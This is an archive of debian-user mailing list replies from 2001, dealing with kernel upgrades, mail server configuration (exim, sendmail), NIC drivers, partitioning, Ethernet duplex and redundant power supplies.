Err... Sorry, wrong Adaptec-related web site. The correct site is: http://www.aurore.net/source/ The dpt patches are the ones you need. --Rich Rich Puhek wrote: Michael, You need to patch your kernel to add the necessary drivers that support the Adaptec card. Adaptec hasn't gotten the message that Linux is not RedHat, so it's not a trivial process. See: http://people.FreeBSD.org/~gibbs/linux/ for the necessary patches for the kernel. -- _ Rich Puhek ETN Systems Inc. _
Re: HELP! Can't boot no more - When Kernel Upgrades Go Bad
John, You probably forgot to include support for ext2 filesystems in your new kernel. To try to get your machine running for now, boot your machine, and hold down the shift key (IIRC...). You should see the machine stop at boot: Hitting TAB should give you a list of kernels you can chose (again, by memory is foggy here, so it may be something else...). Hopefully you have your old kernel image laying around (if you rebuilt your kernel the Debian way (tm), you will have one). Chose the old kernel, and see if that boots ok. If that all fails, go ahead and re-install, just make sure that you have ext2 enabled. --Rich John Griffiths wrote: Hi everyone, hoping someone can help me here I followed the instructions on http://www.fs.tum.de/~bunk/kernel-24.html for upgrading 2.2r3 to the 2.4 kernel. I thought i'd followed the isntructions to the letter, but when i rebooted all seemed well until halfway through the reboot when it stopped. the last good line in the bootup says Linux IP multicast router 0.06 plus PIM-SM then we get to the bad stuff request_module[block-major-8: Root fs not mounted VFS: Cannot open root device 801 or 08:01 Please append a correct root= bot option Kernel panic: VFS: Unable to mount root fs on 08:01 and that's where it ends. any help to either a) get the system as-is to boot or b) re-install and get 2.4 pon the right way would be appreciated. I'd be very grateful for any help John -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED] -- _ Rich Puhek ETN Systems Inc. _
Re: turning on X extensions with XFree86 4.0.x
On Sun, 22 Jul 2001 09:46:17 Joshua N Pritikin wrote: i installed xserver-xfree86_4.0.3-4_i386.deb today, and simple things like the shaped window extension disappeared. xdpyinfo reports: number of extensions:8 LBX MIT-SHM SECURITY XC-APPGROUP XFree86-Bigfont XInputExtension XKEYBOARD XTEST However, i see a bunch of other goodies here: /usr/X11R6/lib/modules/extensions/libGLcore.a /usr/X11R6/lib/modules/extensions/libdbe.a /usr/X11R6/lib/modules/extensions/libdri.a /usr/X11R6/lib/modules/extensions/libextmod.a /usr/X11R6/lib/modules/extensions/libglx.a /usr/X11R6/lib/modules/extensions/libpex5.a /usr/X11R6/lib/modules/extensions/librecord.a /usr/X11R6/lib/modules/extensions/libxie.a The man pages are not helpful; i'd prefer not to download the source code to research this. Is there some magic way to turn on these extensions? In /etc/X11/XF86Config-4 you will find a section like the following (copied from my config): Section Module Load GLcore Load dbe Load extmod Load fbdevhw Load pex5 Load dri Load glx Load type1 Load freetype # Load xtt Load speedo Load record Load xie EndSection
Re: Email line-length defaults to about 76; how to increase?
On Sun, 22 Jul 2001 10:48:57 Jameson C . Burt wrote: My email lines get split after about 76 characters. How could I change this to something longer, or should email lines be split at 76 characters? This limit causes problems whenever I email Linux syslog lines, which are seldom less than even 90 characters in length. I haven't been able to determine if this line-length limit is set by exim, procmail, or perhaps my mail user agent (balsa). Balsa: Settings-Preferences-Mail Options-Outgoing :)
password prompt
I can't remember what I did, but now, after a few seconds after logging onto a gnome seeion, a box pops up asking for 'password' How can I stop that annoying thing? -- Rich Collins
Re: [very very OT] noisy power supply
Man... keep that fan blowing, and hard. If the fan is making machanical noise, replace it. If you're not brave enough to slice the warranty void if removed... no user servicable parts inside... sticker on the PS, replace the entire power supply. If the noice is coming from the air movement, make sure there's no restrictions (like extra cables hanging behind your case) that are restricting airflow. If the noice really bugs you, heck, just clip the leads to the fan, let your system cook. You may or may not see premature death of your CPU and hard drives as a result of the increased heat. If you're running the machine at home, and plan to upgrade again in a year, you may be fine, and may not care. If the machine is important to you, you should be happy with the noise (assiming it's wind noise, not bearing noise), since that means your machine is running happily along. As for PWM modulation of a fan... PWM is more often used for things like small DC motors in electromechanical systems... the print head in your desktop inkjet is probably driven by a PWM-contolled motor, since it needs precise controll over positioning, and needs to start, stop, and change position rapidly. It doesn't sound very appropriate for a fan, which is either on, off, or possibly running at a reduced speed. There's probably a few EEs with motor-controller experience out there who could say more... --Rich Joost Kooij wrote: On Thu, Jul 12, 2001 at 09:18:21AM +0200, thomas wrote: So my idea is: I open the power supply, flip the fan so that it blows cool air from outside into the case, voila, much less noise. Is this a good idea or rather stupid? bad idea. you will move all the hot air in the case. if your man enough take you PSU apart and mod your fans to 7V, that will make it almost unhearable! IIRC you need to switch the fan on and off in rapid succession, it's called pulse width modulation. Presumably, it's better for the electronics inside the fan. Cheers, -- _ Rich Puhek ETN Systems Inc. _
Re: Reiserfs and disk spindown: separate /var partition?
heh heh heh... my butt still hurts from when I tried the very same thing. That was when I upgraded my first Debian Box from hamm or slink. I figured the box was so hosed... I might as well do a clean install. Lucky it only took you an hour to repair the damage :-) Amazing what a dynamically-linked program can do to you! --Rich Matthew Sackman wrote: In the interests of maximising hard-disc usage, I once moved the contents of /lib to another partition (non-root) and created a sym-link. An hour later I had repaired the damage - it really don't like it!!! :-( -- _ Rich Puhek ETN Systems Inc. _
test, please delete
test of balsa (it stopped sending for some reason, while mutt works ;)
Re: mp3 players
On Tue, 10 Jul 2001 18:47:12 [EMAIL PROTECTED] wrote: hi all! I did a search for mp3 in the stable package list and got a number of players. Does anyone have any favorites? I'd like to hear people's opinions. which, if any, can copy CD tracks? thanks! xucaen grip (http://nostatic.org/grip) is a front end to several rippers and encoders. cdparanoia, lame, and oggenc are all supported. It makes ripping cds rather painless.
Re: Reiserfs and disk spindown: separate /var partition?
Craig and Christian, The Filesystem Hierarchy Standard, or FHS (http://www.pathname.com/fhs/) helps decide what can be mounted on a different filesystem. Some excerpts from the 2.2 standard: /bin contains commands that ...are required when no other filesystems are mounted (e.g. in single user mode). /sbin contains binaries essential for booting, restoring, recovering, and/or repairing the system in addition to the binaries in /bin. The FHS also encourages small root partitions, which would seem to imply that it's a good idea to give /usr a seperate partition. IMHO, in virtually all cases, /var should definately be in its own partition, since otherwise you risk filling the root partition with log messages, etc. --Rich Craig Dickson wrote: (snip) - Getting it right for the boot process (should I make / reiser or ext2?): I assume I need to have /etc, /bin and /sbin on the root partition. What about /usr? It's never occurred to me to put /etc, /bin, or /sbin on any filesystem other than the root. I would guess that that would not be a good idea, since the boot process might (?) need access to them before it gets around to mounting all the default filesystems (for one thing, the mount command itself lives in /bin), but I'm not really sure. /usr can certainly be a separate filesystem, though I've never done so except when I wanted it to be on a separate hard disk from the root. Typically, I leave /usr in the root filesystem, though /usr/local or /usr/share might be separate. Craig -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED] -- _ Rich Puhek ETN Systems Inc. _
Re: [users] Re: Time to fight for our beloved DEB format!
Dave Sherohman wrote: SNIP... And, to me at least, `xdm stop` obviously means shut xdm down, while `init 3` has no readily apparent relationship to X or xdm unless you're bringing outside knowledge with you. Bingo. That's what the arguements boils down to. What is most important IMHO, is the ability to customize runlevels to a local condition. You may be running RH 6.x on a laptop that needs to have X running with one network configuration in runlevel 5, and console only with a different configuration in runlevel 3, with levels 2 and 4 having various other combinations. I may have Debian 2.2.r3 running a webserver in runlevel 3, and I may have the machine setup as a backup MX server and a web server in runlevel 5, without X in either. --Rich _ Rich Puhek ETN Systems Inc. _
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test of mail from this list ignore?
if you're reading this, I'm testing getting mail from this list. My ISP had mail problems, and I've not received mail for a couple of days. Some lists are now coming in, and I'm testing the others. I've tried mail to debian-user-request with subject and body of 'help' (supposed to get me a help message, right?) but received no reply. If you're feeling kind, reply to me personally (if it's still less than 2 hours after this mail hits the list) so at least I know it's getting through. Thanks, Rich Rudnick [EMAIL PROTECTED]
Re: V = I * R and the rest (Re: OT: C++ Newbie and KDE/QT)
And ignore the abacus and the slide rule? For shame! we must remember to study our roots! Remember heck week from one of the later Revenge of the Nerds movies? --Rich D-Man wrote: That's a good idea, but we really ought to start with vacuum tubes, now shouldn't we .5 wink? -D -- _ Rich Puhek ETN Systems Inc. _
how to find a package that provides ____._____
Howdy all, I need libXt.so.6 and libX11.so.6 to run Wordperfect how do I find out which .deb package provides these? Thanks in advance, Rich
program response sluggish compared to Win98
Howdy all, I've had a problem for a while in which my potato sytem seems to perform relatively sluggishly - most noticably on Wordperfect. Example: While WP8 under W98, I can hold the page down key for 5 seconds, and when I let go, the scroll immediately stops. Doing the same under linux, however, would result in a minute-long scroll through several dozen pages after the key was let go. Is there a keyboard buffer that I can adjust or something, or does the problem lie elsewhere, or is linux WP8 just not as well-designed? Thanks in advance, Rico
Re: [users] Re: a quickie
Also, if you're running, oh, say, and email or web server on you server rack, you might be concerned if the server were rebooted, since the service would be unavaliable for a while. On a heavily-loaded email server with a large (ext2) mail partition with quota support enabled, the checkquota proces alone will be intolerably long for the middle of the day. My suggestion: purchase a KVM. In my case, I've got a low-end 4-port KVM on my racks. There are about 12 machines there, but most are running Debian, so I rarely need a console connection on those. I leave windows machines and our voice mail server attached to ports 1-3. Port 4 I have as a roamer and attach to whichever Debian box I need at the moment (had a machine that tended to lock up and segfault for instance). By adding a KVM, not only have I eliminated the possibility of rebooting a Linux machine when I intended to log into an NT server, I have also largely emiminated having to rummage around the back side of the rack swapping cables. I hadn't realized that was a problem until one of our techs went through like a bull in a china shop and knocked the power cord loose from my email server. Now, since I've made the NT boxes all a pushbutton away, I'm the only one who ever needs to swap cables. Since I had to clean up the mess whenever the mail server got abruptly booted, I am much more careful than the people who caused the crashes. As for pride: SNMP station: $ uptime 5:38pm up 272 days, 19:12, 1 user, load average: 0.22, 0.59, 0.60 $ Utility web server/general use server: $ uptime 5:41pm up 205 days, 18:26, 1 user, load average: 1.03, 1.03, 1.00 $ mail server: $ uptime 5:42pm up 285 days, 23:40, 1 user, load average: 0.01, 0.02, 0.00 $ Web server: $ uptime 5:43pm up 285 days, 23:38, 2 users, load average: 0.00, 0.00, 0.00 $ ... and people ask why we run Debian :-) --Rich Paul Wright wrote: so what does 114 days of uptime buy you? A sense of pride. does it matter that much??? To me, no. To others, maybe. -- Paul T. Wright [EMAIL PROTECTED] -currently seeking employment- -- -- _ Rich Puhek ETN Systems Inc. _
Re: turning off exim on port 25
Ummm, maybe it's just too late at night and I'm missing something, but I think you can do what you want by editing /etc/inetd.conf, and removing or commenting out the following line: smtp stream tcp nowait mail/usr/sbin/exim exim -bs --Rich Bryan Walton wrote: This may be a better question for another list. I am building a firewall for my home LAN. I have exim configured for local delivery only (the only thing I want it to do is move email from root to another userid). Even though I have configured exim for only local delivery, the exim daemon is still listening on port 25. Is there a flag I can use when starting up Exim so that it won't listen on port 25? Thanks, Bryan -- Bryan K. WaltonNetwork Operations Center Analyst Berbee...putting the E in businesshttp://www.berbee.com/ GPG fingerprint: BF68 340D A650 E2D7 86B9 FED5 DDFF 3EEE 3229 7B5D -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED] -- _ Rich Puhek ETN Systems Inc. _
Re: turning off exim on port 25
Yes, Exim will still deliver from the queue (there's a cron job to run every 30 minutes), and exim will still send outgoing email if needed. I use exim on any of my machines that will not be receiving mail for a domain. By eliminating the smtp line from inetd.conf, I don't show up with an active port 25 to tempt spammers. Output of cron jobs and the like will still be passed on to my smarthost. --Rich Jim Breton wrote: On Wed, May 23, 2001 at 11:33:40PM -0700, Eric N. Valor wrote: That pretty much turns off exim altogether. Actually the script in /etc/init.d/ will start exim in stand-alone mode if you disable the listener in inetd.conf. So you will still have it listening on 25/tcp. While effective for disabling the Port 25 listen, it doesn't allow Bryan to use exim for his purposes. I think he's also using it in daemon mode rather than being run from inetd. I'm not sure whether exim will still do deliveries from the queue if you disable the tcp listener (I don't use exim), but if it does, I'd suggest shutting it off altogether. Just put an exit 0 at the top of the script. (Again I'm not sure if exim will still work correctly after that, and I don't have a box handy with exim on it to test... so try it out.) -- Jim B. [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED] -- _ Rich Puhek ETN Systems Inc. _
Re: login problem!
Log in as root. Look to see if you have a /etc/nologin file or an /etc/nologin.boot file. If you're seeing the Sytem bootup in progress - please wait message, that means that the nologin files are there, and only root is allowed to login. If those files are there, something went kinda wrong with your last boot process. You didn't jump the gun and try logging in before your system had completed starting up did you? --Rich J. Ramón Fdez wrote: Hi all, When I try login in my debian 2.4 as normal user, system say: login: jramon Sytem bootup in progress - please wait Password: *** Login incorrect I put the correct password, but it doesn't woork. However, I can login as root successfully. Where is the mistake? Thanks -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED] -- _ Rich Puhek ETN Systems Inc. _
Re: GERMAN INVASION!!!
cat oldmessage | tr :German: :English: newmessage Isn't working for me... is my tr broken? Just a little Monday humor! --Rich MaD dUCK wrote: what's going on??? martin; (greetings from the heart of the sun.) \ echo mailto: !#^.*|tr * mailto:; [EMAIL PROTECTED] -- de gustibus non est disputandum. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED] -- _ Rich Puhek ETN Systems Inc. _
Re: smbfs crashes after inactivity
One question/suggestion: Is samba running from inetd or as a standalone server? That's probably not directly applicable to your situation (now that I fully read your email...), but may not hurt. My W2K memory is fuzzy, but I recall that W2K is setup to time out and essentially disconnect from the server after 30 min or so, then transparantly reconnect if you use the share again. I have a hunch that this is related to your problem. You might want to check the server setup to see if there's a switch to correct/change that. --Rich Robert Hawkey wrote: I know this probably isn't the best list for this question but... We've got several machines set up in our office running Debian, RedHat and Slackware Linux that all mount a share on our Windows 2000 server. If any of the machines don't use the share for longer than a half hour or so Samba crashes and you can no longer access the share. If you do an ls on the share it will say ls: Input/Output error. When the crash occurs you cannot umount the mounted folder, all that happens when you type umount /sambashare is umount runs, and quits with no messages, but when you try to remount the share it tells you that the share is already mounted. The only way to get the share back is to reboot the machine. Does anyone know why this is happening? Here's the command we use to mount the share: mount -t smbfs -o username=user,password=password,rw,fmask=0777,dmask=0777 //192.168.0.2/SHARE NAME folder on our machines Thanks, Robert Hawkey _ Rich Puhek ETN Systems Inc. _
Re: 3c905C Drivers
Was is still broken that recently? I thought that potato boot disks worked ok with the 905c, and that it was broken with slink. Of course, I get confused, since I still have a bunch of 3c905b cards floating around. As for a new kernel, It's not too bad to do a boot disk with a custom kernel... of course, that can be kind of a chicken and egg problem for someone without an existing installation around! Thanks for the clarification on the version. --Rich Simon Law wrote: The 905C support was broken in 2.2.18pre21, which ships with potato. The best way to fix that is via a new kernel, but that may be messy to get on the new machine without the network. Simon On Mon, 14 May 2001, Rich Puhek wrote: Also note that if you're installing an older version of Debian, the 3c509c won't work. The older driver only worked up to the 3c509b. I'm not sure when exactly things changed, but if you're using the latest disk images you're ok. --Rich Jason Majors wrote: The 3c59x kernel module covers that card. On Sun, May 13, 2001 at 12:14:33PM -0700, The Reutzels scribbled... I want to get my NIC working and the only drivers that I found for the 3c905C are not for Debian. Could anybody help point me to the right place to get these drivers so I can get my network up and running. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED] -- _ Rich Puhek ETN Systems Inc. _ -- _ Rich Puhek ETN Systems Inc. _
Re: CPAN, woody and perl?
Try setting your CPAN to ask for dependancies instead of automatically installing them. That way, you can skip the perl-5.6.1 portion... maybe anyhow. --Rich :x Robert L. Harris wrote: I just ran a perl -MCPAN and did the install Bundle::CPAN and it's trying to install and compile perl-5.6.1... I'd rather not do this as I'd like to keep the perl package nice and clean in the .deb format.. Thoughts? :wq! --- Robert L. Harris| Micros~1 : Senior System Engineer |For when quality, reliability at RnD Consulting | and security just aren't \_ that important! DISCLAIMER: These are MY OPINIONS ALONE. I speak for no-one else. FYI: perl -e 'print $i=pack(c5,(41*2),sqrt(7056),(unpack(c,H)-2),oct(115),10);' -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED] -- _ Rich Puhek ETN Systems Inc. _
Re: dual NICs
Adaptec makes a 4-port PCI card, Intel has some two port cards. I'm sure there are others out there as well. If I remember correctly, the Adaptec unfortunately took an IRQ for each port, which was a bit of a pain. --Rich Matthew Sackman wrote: Hay all. Does anyone have any knowledge of a network card that has two independant eth ports on it? The reason I ask is that I've gotta get 4 eth ports into a server squashed into a 2U rack which means I only have 3 expansion cards available... I look forward to hearing from you! Matthew -- Matthew Sackman Nottingham, ENGLAND Using Debian/GNU Linux Enjoying computing -- _ Rich Puhek ETN Systems Inc. _
Re: Sendmail and local addresses
Jason, Try: MASQUERADE_AS(whizzird.net) in your sendmail.mc file. That should rewrite your outgoing email as if it all came from whizzird.net instead of the FQDN of the machine. --Rich Jason Majors wrote: I have several machines, one acts as a mailserver, with an MX entry and all. The others are clients that know to use the server as a smarthost. When I send mail to a local account, I get an error from the smarthost server saying that the address [EMAIL PROTECTED] can't be found. But when I add the @whizzird.net to the address it works fine. These boxes are running the sendmail from testing (the one from stable stopped working on me). I tried to use the sendmail address rewriting mini-HOWTO's advice to allow it to send local mail, but the sendmail I have doesn't like the format of the file for some reason. Is there an easy way to send local mail with sendmail? Thanks, Jason -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED] -- _ Rich Puhek ETN Systems Inc. _
Re: 3c905C Drivers
Also note that if you're installing an older version of Debian, the 3c509c won't work. The older driver only worked up to the 3c509b. I'm not sure when exactly things changed, but if you're using the latest disk images you're ok. --Rich Jason Majors wrote: The 3c59x kernel module covers that card. On Sun, May 13, 2001 at 12:14:33PM -0700, The Reutzels scribbled... I want to get my NIC working and the only drivers that I found for the 3c905C are not for Debian. Could anybody help point me to the right place to get these drivers so I can get my network up and running. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED] -- _ Rich Puhek ETN Systems Inc. _
Re: Linksys EtherFast NIC, full duplex?
Karsten M. Self wrote: on Sun, May 06, 2001 at 08:58:33AM -0500, Jack ([EMAIL PROTECTED]) wrote: Hi, I have two machine connected using crossover cable and LinkSys EtherFast 10/100 Cards. (same card on both machine). I only get 4-5Mbyte/sec when ftp or nfs between each other. Both machine are running Woody. I am sure it's not the best it can get with those NICs. I can get 9-10Mbytes/sec if I boot one machine into freebsd. here is ifconfig from freebsd: dc0: flags=8843UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST mtu 1500 inet 192.168.0.2 netmask 0xff00 broadcast 192.168.0.255 inet6 fe80::203:6dff:fe1b:b60e%dc0 prefixlen 64 scopeid 0x2 ether 00:03:6d:1b:b6:0e media: autoselect (100baseTX full-duplex) status: active supported media: autoselect 100baseTX full-duplex 100baseTX 10baseT/UTP full-duplex 10baseT/UTP none (I do not know how to get duplex status on debian, help me?) I just tested it again (using 130M big file): ncftp reports: (debian) -- (freebsd) 8.24 MB/s (debian) -- (freebsd) 9.54 MB/s I can only get 60% of that when have both to be Debian. Both debian are using the driver compiled from the source comes in floppy(4.1 version) Haven't seen a response. My understanding is that running NICs through a hub (non-switched) network results in half-duplex operation. Only switched networks are full-duplex. But I don't know what I'm talking about. -- Karsten M. Self kmself@ix.netcom.comhttp://kmself.home.netcom.com/ What part of Gestalt don't you understand? There is no K5 cabal http://gestalt-system.sourceforge.net/ http://www.kuro5hin.org Part 1.2Type: application/pgp-signature You are on the right track. In half-duplex, the card basicly listens on its receive line while it's talking on the transmit line. Normally, in a non-switched, half-duplex, environment, only one card may transmit at any one time. If the card hears anyone else transmit during the time it's transmitting, it treats that as a collision. It will transmit a signal indicating a collision (which the hub will relay to all ports), and sleeps for a random time interval (the holdoff time is based on an interesting algorithm that makes the possible interval wider, depending on the number of collisions the card has seen). In a simple case of two network cards talking directly to each other (or a network card talking to a properly configured switch), both cards may transmit at once. Since the transmit and recieve pairs are seperate physical media, the transmission of one card won't interfere with the transmission of the other. To allow this, we put the card (and the ports on a switch) into full-duplex mode, which basicly means just go on talking if the card at the other end is talking too or ignore collisions. What can become an issue is whether the card and the switch properly autoconfigure, or recognise that they're attached in a configuration that will allow them to safely operate in full-duplex mode. As another consideration for the performace issues the original post referenced, many higher end cards have the ability to change how some transmit and receive buffers are allocated. They can chose how full the buffer can get before triggering an interrupt, some can shift the buffer sizes to favor transmission over reception, etc... --Rich -- _ Rich Puhek ETN Systems Inc. _
Re: Browser preferences/options (was Re: Strong encryption for mozilla (woody))
Karsten M. Self wrote: Biggest browser beefs: - Stability. Quit with the fucking crashing already. Don't lose my stuff (this includes state). ***STABILITY IS NOT OPTIONAL*** - Speed. Render. Quickly. Load. Quickly. Stop. Quickly. Ties strongly to lightweight code as well. - Standards compliant. Support standards. Don't promote proprietarysms.. - Dependencies. Codependency sucks. - Bloat. A browser. Not a fucking kitchen sink, thank you very much. - Privacy. Allow me to control cookies, Java, Javascript. Support SSL. Default mode should maximise privacy. Don't do shit behind my back. - Security. Strong overlap with above. - Plugins. Suck. Third party apps should launch as same. They should *NOT* launch within my browser. Flash sucks. Period. - Unobtrusive. Stay out of my face. Do what I say. - Configurability. Allow my to configure: fonts, scaling steps, colors, animation handling (none), proxies, cookie/java/javascript handling (none, by default), preferred mail/news/telnet/ftp apps. SNIP -- Karsten M. Self kmself@ix.netcom.comhttp://kmself.home.netcom.com/ What part of Gestalt don't you understand? There is no K5 cabal http://gestalt-system.sourceforge.net/ http://www.kuro5hin.org Part 1.2Type: application/pgp-signature Whew! I thought I was the only one who had a hard time understanding why a web browser, really a HTML --that's Hyper TEXT Markup Language, yes kids, that means a way to make boring old text look kinda snazzy-- decides to consume well over 10MB just to get off the ground! More of us need to scream about the above to Netscape et al. To your list I'd add: - Cache. It should work properly... if I've got a few MB set aside on my HD, why redownload an entire page just 'cause I resized my window? - Configurability/Privacy: Let's figure out a cleaner way to say I want to save cookies for /. or similar sites and not for every other site under the sun. - Cookies: Let me know if A site is offering cookies (if I so chose), but don't stop the whole show with a damn dialog box a million times just because the frickin site wants to give me the equivilent of a big bag of Double-Stuff(tm) - Banners. I hate when a simple little web page that should take 5 seconds to load over a modem connection takes over a minute on a T1... just cause ads1.joesannoyingdiscountbanneradshere.com/cgi-bin/ads1234/crappyscript.cgi?makelotsofmoney=123456789oopsbadform doesn't happen to be responding at the moment. - Old OSes. My grandpa used to surf on a Macintosh Performa 675. Ever try to get one of those surfing reliably with Netscape??? Why the hell do we need over 500MHz and 64+MB RAM to surf the web and do email? Gotta agree most with Stability and Standards. A single page of bad HTML shouldn't sink all of H.M.S Netscape. That and bad HTML really shouldn't exist. Yes, I was about to argue that that's really the designer's fault, but browser-specific tags is what got us into this mess. --Rich -- _ Rich Puhek ETN Systems Inc. _
Re: (OT) Storage (8*IDE HDs) any experiences? - diodes
http://www.dell.com/us/en/bsd/products/model_pedge_1_pedge_2550.htm ...Has a system with dual power supplies. If anyone is interested in putting together a system like that, I suggest they go ahead and buy one. Otherwise, let's leave the design stuff to the power supply engineers at Power One and the other big power supply companies. They've got loads of (trained) people to take care of the design debates (including the use of Schottky Diodes). If further discussion on this toppic is desired, perhaps news:alt.engineering.electrical would be a more appropriate forum (or any of a number of other resources that show up in a google search). The debate was off-topic to begin with, strayed even further, yet stayed interesting with the concerns over load-ballancing supplies. Debating design features of power supplies is really wandering off of the beaten path... especially given the lack of experience most of us (the members of debian-user) have with the subject. Sorry for adding to the noise, but geez, this list is chatty enough already to be almost unmanagable. Bottom line: let's let the discussion die or else move it over to another list or NG. --Rich (loads of chatter deleted) -- _ Rich Puhek ETN Systems Inc. _
Re: FW: Sendmail
How are you trying to start sendmail? If you are just trying sendmail as root, you're not starting the daemon up to listen for incoming mail, you're invoking the sendmail program as if you want to create a message. Try (as root) /etc/init.d/sendmail start and see what you get. Sendmail is a bear to set up at first. It's a great MTA, very capable, but can be a bit intimidating to configure. If your needs on the box are fairly simple, you may want to consider using exim instead. As something else to consider: Do you need to receive mail on that box? For most of my machines, I have absolutely no need to receive email directly on the machine. The only machines I run sendmail on are those that are actual mail servers (those that are either receiving email for my domains or those that are relaying mail for my clients). The rest of my servers need to be able to send email (so that daemons can send error messages to me, and stuff like that). For all those servers, I run Exim setup to use a mail server as a smarthost. Most importantly, I remove exim from inetd.conf, so that they're never used to relay mail. --Rich Peter Donaldson wrote: I tried sendmailconfig but still i am having the same problem. I also can not receive mail through that box :( -Original Message- From: ktb [mailto:[EMAIL PROTECTED] Sent: Wednesday, May 02, 2001 11:40 AM To: Debian Users Subject: Re: Sendmail On Wed, May 02, 2001 at 11:26:26AM +1000, Peter Donaldson wrote: I have been having a problem with sendmail for a while but because i am just playing with linux it hasn't really bothered me that much. But could someone please healp me out. When i go to start sendmail it is giving me this message-- peter... Recipient names must be specified -- Help would b greatly appreciated :) Have you tried setting it up with sendmailconfig? kent -- _ Rich Puhek ETN Systems Inc. _
Re: (OT) Storage (8*IDE HDs) any experiences?
Dell Poweredge 2450 style servers is what you're looking for. They have two power supplies, each with its own power cord. Yes, it can run on one PS... the last one I set up ran that way on my desk since I only had one cord handy. Of course, you'll want to make damn sure the grounds are at the same potential, so doing funny tricks with where you plug them in could be a bad idea. Another nice thing about this (and probably all the machines Matthew's referring to) is that the motherboard doesn't need to support multiple supplies, nor do the hard drives, fans, tape drives, etc. I agree with Matthew in that there _is_ a reason to share the load, actually a few that I can think of. Let's say you have a pair of 300W supplies on a box that draws 250W at rest. Rather than let one supply crank along at 250W, let's let both supplies run at about 125W. That way, both supplies will run cooler (Depending on the supply design, the supply may actually have slightly lower efficiency at the lower load factor, but that's a trade off we can live with). Also consider what happens if the load was near the capacity of a single supply, and spiked over the capacity. If we were using the second supply as a backup to only be switched in if the primary failed, how would that be handled? --Rich Matthew Sackman wrote: On Fri, Apr 27, 2001 at 12:05:11PM -0500, Dimitri Maziuk wrote: On Thu, Apr 26, 2001 at 05:32:31PM -0700, Alvin Oga wrote: ... - even if you had 2 power supplies... - most motherboards only has one atx power connector True. And if you went for redundant PS's and a mobo that supports them, the cost would go way up. - are the two power supplies properly doing load sharing... Usually not. I imagine that's too hard and not worth the trouble anyway: what you usually want is redundancy, not load sharing. (I mean, if one PS dies, it will overload and kill the other one pretty fast. Not a good idea. And if each PS can handle the load alone, there's little point in sharing the load.) Every production server that I've seen that has 2 PSUs has both continuously running. At hopefully 50% capacity. There is no switch-over - if one goes then the other has to cope with both. Of course, the irony is that as they are both routed to the same power inlet, if the fuse in the plug goes then you're buggered anyway! :-) Matthew -- Matthew Sackman Nottingham, ENGLAND -- _ Rich Puhek ETN Systems Inc. _
Re: (OT) Storage (8*IDE HDs) any experiences?
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Re: (OT) Storage (8*IDE HDs) any experiences?
(Sorry about the blank email... too much caffeene got me a twitchy trigger finger). Dimitri Maziuk wrote: In fact, there will be some point at which each individual PSU will run just as hot as if it handled all the load on its own (you can be sure your box will draw exactly that much load, thank you Mr Murphy). Hmmm, I'm doubtful that that's the case if our load is around 25% to 50% or something like that. That's based on almost a pure guess, but I recall UPS efficiency numbers of something like high 90% numbers for almost full load versus 85% or so at 50% load. Obviously, a very lightly loaded power supply will put out about as much heat regardless of whether it's running at 1% or 2% capacity, but I'm thinking that will diverge fairly quickly. Also, in most PS and case designs, the PS should have a negligable effect on the heat transfer of the box, given that its fan exhausts directly to the exterior of the case. If the case is ventilated through the power supply (as common in desktop PCs and low end servers), there will be a small change, depending on the temperature within the power supply case (been about 4-years since I decided 'Thermo and an ME degree weren't for me, so the ideas are fuzzy for me too). I'm not arguing that this is the case, I'm saying that this kind of argument can be twisted and turned any which way you like. Very true, which is why redundancy will be the main factor, not heat production. I had mid-80s AT PSUs. They'd still be working if I didn't have to move house and throw all that junk out. If a PSU lasts for 15 years, will 2 load-sharing PSUs last 30 years? Do I care? (Will I last 30 more years?) I know that CPU will maybe last 1/5th of that, disks maybe 1/3rd. So what is it I'm going to achieve by setting up load-balancing PSUs? Well, those mid-80s AT PSUs (in general, I mean) seem to have either been A) oversized for the AT PCs or B) just better quality than normal desktop-grade power supplies of today. (BTW: I recall hearing that Intel speced Pentium CPUs for a lifetime of 10 or 20 years in normal usage... used as a rationale for overclocking and the reduced lifespan it causes). No, I don't anticipate a linear relationship between load and lifespan, nor would I anticipate a linear relationship between load and heat disappated, heat dissapated and lifespan, etc... I would however, anticipate that keeping a power supply running somewhere under its full rated capacity will increase its lifespan to some extent. Also, in a load-balancing configuration, you eliminate the ... Also consider what happens if the load was near the capacity of a single supply, and spiked over the capacity. If we were using the second supply as a backup to only be switched in if the primary failed, how would that be handled? Well if you mean some piece of hardware suddently decides to draw $BIGNUM times its normal current, the PSU will die. Depending on the design, there's a circuit somewhere (eg. on the backplane) that does the appropriate magic and switches the second PSU on. Of course it'll die very soon too, unless the FPOH in question magically fixed itself in the meantime. I was thinking more like the combined load in the box was something like 95% of the rated capacity of the power supply, then spiked to 110% (like having a bunch of SCSI drives spin up). A decent power supply probably won't let the smoke out, but it probably won't give the best power either. A redundant load-sharing arrangement would have both supplies running at something like 42.5%, then spike to something like 55%. Granted, this is a bit of a stretch, but I've seen too many cases recently of servers in a simple consumer PC box that gradually got stuffed full of SCSI drives until a PS failed. Sometimes the magic fails -- I remember the look on my boss's face when he pulled a hot-swappable PSU out of a live swerver, and the box went down. Oops. (Only happened once; we later tried to reproduce the problem, quite unsuccessfully: PSUs switched over like a charm, every bloody time. Surprise, surprise.) Dima Like you said, Mr. Murphy pays a visit every now and then :-) (whew... ok, I'm done.. this topic has wandered far enough!) --Rich -- _ Rich Puhek ETN Systems Inc. _
Re:
